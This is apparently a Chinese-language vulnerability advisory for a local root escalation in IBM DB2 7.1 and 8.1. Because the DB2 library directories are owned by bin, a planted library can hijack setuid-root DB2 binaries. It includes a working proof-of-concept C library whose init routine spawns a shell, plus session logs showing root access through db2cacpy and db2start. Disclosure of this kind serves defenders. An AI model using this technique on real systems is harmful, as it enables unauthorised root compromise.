涉及程序: IBM DB2 7.1-8.1
描述:IBM DB2 存在权限提升缺陷。
详细:
DB2 Server版 7.1和8.1 安装在/home目录,它的库文件则安装在/usr/IBMdb2/V7.1/lib(7.1版)和/opt/IBM/db2/V8.1/lib(8.1版)。在这两个版本中,库文件目录属于bin.bin拥有。如果本地或远程进攻者泄露bin帐户,就可利用创建库来提升至root权限。
默认安装db2 7.1、8.1的库:
[pask@dimoniet home]$ ls -alc /usr/IBMdb2/V7.1
...
drwxr-xr-x 2 bin bin 4096 Jun 21 2002 java12
drwxr-xr-x 2 bin bin 4096 Jul 30 19:54 lib
drwxr-xr-x 2 bin bin 4096 Jun 21 2002 map
...
[pask@dimoniet home]$ ls -alc /opt/IBM/db2/V8.1/
...
drwxr-xr-x 2 bin bin 4096 Dec 11 2002 java
drwxr-xr-x 2 bin bin 4096 Dec 11 2002 lib
drwxr-xr-x 30 bin bin 4096 Dec 11 2002 license
drwxr-xr-x 2 bin bin 4096 Dec 11 2002 map
...
bin用户很容易创建so.bib,如:
#include
#include
_init() {
printf("en el _init()\n");
printf("Con PID=%i y EUID=%i",getpid(),getuid());
system("/bin/bash");
printf("Saliendo del Init()\n");
}
compiling in /usr/IBMdb2/V7.1/lib/libdl.so.2 and exec some root-setuided binary, for
example
-r-s--x--x 1 root db2asgrp 15557 Jul 31 00:42 db2cacpy
-r-sr-s--x 1 root db2asgrp 17562 Jun 21 2002 db2dari
-r-s--x--x 1 root db2asgrp 68291 Jun 21 2002 db2genp
-r-sr-x--x 1 root db2asgrp 97722 Jun 21 2002 db2licd
-r-sr-s--x 1 root db2asgrp 23063 Jul 29 03:15 db2start
-r-sr-s--x 1 root db2asgrp 24396 Jun 21 2002 db2stop
-r-sr-s--- 1 root db2asgrp 50879 Jun 21 2002 db2sysc
-r-sr-s--x 1 root db2asgrp 81925 Jun 21 2002 db2udf
-r-sr-s--x 1 root db2asgrp 16940 Jun 21 2002 db2udfi
[bin@dimoniet adm]$ /home/db2as/sqllib/adm/db2cacpy
/home/db2as/sqllib/adm/db2cacpy: /usr/IBMdb2/V7.1/lib/libdl.so.2: no version information
available (required by /usr/IBMdb2/V7.1/lib/libdb2.so.1)
/home/db2as/sqllib/adm/db2cacpy: /usr/IBMdb2/V7.1/lib/libdl.so.2: no version information
available (required by /usr/IBMdb2/V7.1/lib/libdb2.so.1)
en el _init()
Con PID=10477 y EUID=0
No value for $TERM and no -T specified
No value for $TERM and no -T specified
[root@dimoniet adm]# id
uid=0(root) gid=0(root) groups=1(bin)
[root@dimoniet adm]# exit
exit
Saliendo del Init()
[bin@dimoniet adm]$
同样,8.1版的安装,创建/opt/IBM/db2/V8.1/lib/libd1.so.a,并执行一些文件。
-r-s--x--x 1 root db2grp1 70445 Dec 11 2002 db2cacpy
-r-sr-s--x 1 root db2grp1 78272 Dec 11 2002 db2fmp
-r-sr-s--x 1 root db2grp1 75101 Dec 11 2002 db2fmpterm
-r-s--x--x 1 root db2grp1 101419 Dec 11 2002 db2genp
-r-sr-x--x 1 root db2grp1 180378 Dec 11 2002 db2licd
-r-sr-s--x 1 root db2grp1 38044 Dec 11 2002 db2start
-r-sr-s--x 1 root db2grp1 84713 Dec 11 2002 db2stop
[bin@dimoniet adm]$ ./db2start
./db2start: /opt/IBM/db2/V8.1/lib/libdl.so.2: no version information available (required
by /opt/IBM/db2/V8.1/lib/libdb2e.so.1)
./db2start: /opt/IBM/db2/V8.1/lib/libdl.so.2: no version information available (required
by /opt/IBM/db2/V8.1/lib/libdb2e.so.1)
./db2start: /opt/IBM/db2/V8.1/lib/libdl.so.2: no version information available (required
by /opt/IBM/db2/V8.1/lib/libdb2osse.so.1)
./db2start: /opt/IBM/db2/V8.1/lib/libdl.so.2: no version information available (required
by /opt/IBM/db2/V8.1/lib/libdb2osse.so.1)
en el _init()
Con PID=10540
Con EUID=0
No value for $TERM and no -T specified
No value for $TERM and no -T specified
[root@dimoniet adm]# id
uid=0(root) gid=0(root) groups=1(bin)
[root@dimoniet adm]# exit
exit
Saliendo del Init()
SQL1042C An unexpected system error occurred. SQLSTATE=58004
bin用户就可通过db2的安装来获得root的权限。
解决方案:
目前厂商未公布该缺陷补丁,请用户及时关注厂商站点:
http://www.ibm.com/